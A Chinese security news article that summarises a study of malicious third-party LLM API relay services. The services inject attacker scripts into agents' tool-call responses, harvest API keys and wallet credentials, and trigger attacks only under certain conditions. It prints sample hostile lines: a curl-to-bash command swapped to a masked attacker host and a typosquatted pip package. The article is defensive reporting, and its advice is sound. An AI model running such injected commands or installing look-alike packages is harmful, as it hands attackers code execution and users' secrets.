文章总结： 研究揭示API中转站存在严重安全隐患，包括恶意代码注入、凭证窃取和供应链攻击。由于TLS仅提供逐跳加密，攻击者可篡改工具调用响应或窃取敏感数据。建议用户直连官方API、禁用自动执行模式、实施白名单策略，并呼吁模型提供商部署端到端完整性验证机制。 综合评分： 85 文章分类： 供应链安全,API安全,恶意软件,安全运营,威胁情报

你用的 AI 中转站，安全吗？研究揭 API 中转站「暗藏后门」

原创

指尖安全 指尖安全

指尖安全

2026年5月21日 23:55 陕西

在小说阅读器读本章

去阅读

随着 AI Agent（智能体）广泛采用工具调用（tool calling）机制，越来越多的开发者和企业依赖第三方 API 中转站（路由层）来统一调用上游 AI 模型。API 中转站充当应用层代理，支持负载均衡、自动回退、格式转换等功能，已经成为 LLM 生态中不可忽视的基础设施。

然而来自加州大学圣巴巴拉分校和圣地亚哥分校的研究团队近日发表论文，系统性揭示了 API 中转站生态中存在的严重安全问题。研究团队从淘宝、闲鱼、虾皮等渠道购买了 28 个付费 API 中转站，并从公开社区收集了 400 个免费中转站，对其展开全面安全评测。

结果触目惊心：多个中转站存在主动注入恶意代码的行为，部分中转站甚至直接窃取了研究团队部署的蜜罐以太坊钱包中的资金。

▌核心问题：TLS 逐跳加密而非端到端加密

现有的 TLS 加密仅提供逐跳加密（hop-by-hop），而非端到端加密。这意味着路由链路中的每一个节点都会终止 TLS 连接，再向上游重新建立新连接。对中转站而言，用户的提示词、API 密钥、工具调用参数、模型响应等内容均为明文可见。

由于客户端与上游模型提供商之间没有端到端完整性保护机制，任何一个恶意或被入侵的路由节点都可以实施中间人攻击。研究团队将此概括为最弱链原则：路由链中只要存在一个不安全的路由，整条链路的完整性都会失效。

恶意路由器在 Agent 客户端与模型提供商之间实施载荷注入（AC-1）和凭证扫描（AC-2）

▌主动注入恶意代码

测试中发现，1 个付费中转站 + 8 个免费中转站会在模型的工具调用响应中注入恶意代码。具体做法是将模型返回的正常命令偷偷替换为攻击者控制的恶意脚本。

举例来说，模型本应返回的命令是：

# 模型返回的原始命令curl -sSL https://get.example.com/cli.sh | bash

但经过恶意中转站篡改后，Agent 实际执行的是：

# 恶意中转站替换后的命令curl -sSL https://attacker****.sh | bash

对于开启自动执行模式的 Agent，这等同于直接在用户机器上执行任意代码，用户全程不会收到任何告警。

▌凭证窃取与钱包清空

17 个中转站触碰了研究团队专门部署的 AWS 蜜罐凭证，并产生了后续的未授权 API 调用。更严重的是，1 个中转站直接清空了研究团队预存的以太坊钱包。

▌自适应规避：你测试没问题不代表真的没问题

在上述 9 个恶意中转站中，有 2 个还部署了条件触发机制——平时表现正常，仅在特定条件下才激活攻击：

• 等待前 50 次请求通过后再开始注入，以躲过浅层安全测试- 仅针对处于 YOLO 模式（自动执行、无人工确认）的 Agent 会话- 仅针对 Rust 或 Go 项目

这意味着有限次数的黑盒审计从根本上无法保证中转站是安全的。

▌投毒测试：看似良性的中转站也能成为攻击面

恶意中转站只是问题的一部分。研究团队还通过两次实验揭示了一个更隐蔽的风险——即使是看似良性的中转站，一旦接入被泄露的凭证，也会瞬间成为攻击面的一部分。

实验一：泄露 API 密钥。研究团队故意将一个 OpenAI API 密钥泄露到国内某论坛和 WeChat/Telegram 群组中。结果该密钥被迅速获取并转手复用，最终消耗约 1 亿个 GPT tokens，并牵连出多个 Codex 会话的敏感凭证。

实验二：部署弱配置诱饵。研究团队在 20 个域名和 20 个 IP 上部署了故意配置薄弱的中转站（弱密码的 Sub2API、CLIProxyAPI 等），模拟真实环境中「随便搭一个」的状态。观测期内：

• 来自 147 个 IP 的超过 4 万次未授权访问请求- 这些诱饵被纳入真实的 Agent 路由链，处理了约 21 亿个 tokens– 可见的下游流量约 13 GB- 泄露 99 个敏感凭证，涉及 440 个 Codex 会话、398 个不同项目- 其中 401 个会话已处于 YOLO 自动执行模式——对这些会话，攻击者甚至不需要复杂的触发机制，直接注入即可

这些证据表明：一个中转站在创建之初可以完全无辜，但只要它接入了被泄露的上游密钥或被纳入有问题的路由链，就立刻成为攻击面的一部分。你信任的不是某一个中转站，而是一整条你看不见的链。

▌LiteLLM 供应链攻击：真实案例

论文中还提到一个已经发生的真实案例。2026 年 3 月，广泛使用的开源路由库 LiteLLM（约 4 万 GitHub Stars，2.4 亿次 Docker 拉取）遭遇供应链攻击。攻击者通过依赖混淆（Dependency Confusion）向 PyPI 上传了恶意版本，所有未锁定版本号的部署，其请求和响应管道均被植入恶意代码。

# 依赖混淆攻击示意pip install litellm          # 未锁定版本 → 可能拉取恶意版本pip install litellm==1.x.x   # 锁定版本号 → 指向官方版本

这意味着即便你选择的中转站本身是正规的，它所依赖的底层开源组件也可能出问题。

▌四类攻击向量

研究团队将攻击行为归纳为四类：

AC-1 响应端载荷注入 — 中转站篡改模型返回的工具调用内容，将合法命令替换为恶意命令。对开启自动执行的 Agent 而言，这等同于在用户机器上远程执行任意代码（RCE）。

AC-2 被动凭证窃取 — 中转站不修改任何内容，仅静默扫描流经它的请求和响应，提取 OpenAI Key、AWS Key、GitHub Token、私钥等敏感信息。全程无感，无法察觉。

AC-1.a 依赖注入 — AC-1 的隐蔽变体，不替换 URL，而是把包名换成一个拼写几乎一致的恶意包（如 requests → reqeusts），能绕过基于域名白名单的防护策略，且恶意包安装后会在后续所有会话中持续生效。

pip install requests    # 正常包pip install reqeusts   # 恶意包（注意拼写差异）

AC-1.b 条件触发投递 — 仅在特定条件满足时才激活攻击，平时完全透明。这使得有限次数的黑盒审计从根本上无法保证中转站是安全的。

▌当前可用的防御措施

研究团队给出了三种客户端侧防御方案，但坦承每种都有明显局限：

策略门（Policy Gate） — 对高危工具（如 bash、run_command）的调用强制执行白名单策略，阻止向非白名单域名发起请求或安装白名单外的包。测试中对 AC-1 和 AC-1.a 的拦截率达 100%，误报率约 1%。但攻击者若藏身于白名单域名下或预先植入本地 stager，该防御即失效。

异常检测（Anomaly Screening） — 用机器学习对返回的工具调用进行异常评分，在 6.7% 误报率下可检出 89% 的 AC-1 攻击，但对 AC-1.a 和 AC-1.b 的检出率仅约 50%。

透明日志（Transparency Logging） — 记录每次请求、响应、路由节点信息及响应哈希，便于事后取证溯源。这不是预防手段，但在出事后能帮助确定影响范围。

研究团队认为真正的解决方案需要模型提供商层面的支持——为每个工具调用响应提供类似 DKIM 签名的端到端完整性证明，让客户端可以验证拿到的响应确实是模型原始产生的，而非中途被篡改过。目前 OpenAI、Anthropic、Google 均尚未部署此类机制。

▌安全建议

如果你正在使用或打算使用第三方 API 中转站，以下建议请认真对待：

尽量直连官方 API。中转站的价格优势背后，是你把所有敏感信息暴露给了一个你完全不了解的第三方。如果必须使用中转站，优先选择有实体资质、可追溯的服务商。

不要开启无人值守的自动执行模式（YOLO mode）。研究数据中 440 个被观测会话里有 401 个已开启自动执行，只需一次简单的载荷注入就足以造成严重后果。

审查工具调用链。如果你的 Agent 有执行 shell 命令的能力，务必对其执行的命令增加人工审核或白名单约束。

绝不在公开渠道泄露 API 密钥。论坛、群组、代码仓库都不安全。研究团队仅泄露了一个密钥，就消耗了 1 亿 tokens 并带出了 99 个其他人的凭证。

警惕免费中转站和所谓「公益站」。运营成本总要有人承担，如果不是广告收入，那可能就是你的数据和凭证。

本文基于论文《Your Agent Is Mine: Measuring Malicious Intermediary Attacks on the LLM Supply Chain》。论文原文连接：https://arxiv.org/pdf/2604.08407

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：指尖安全 指尖安全 指尖安全《你用的 AI 中转站，安全吗？研究揭 API 中转站「暗藏后门」》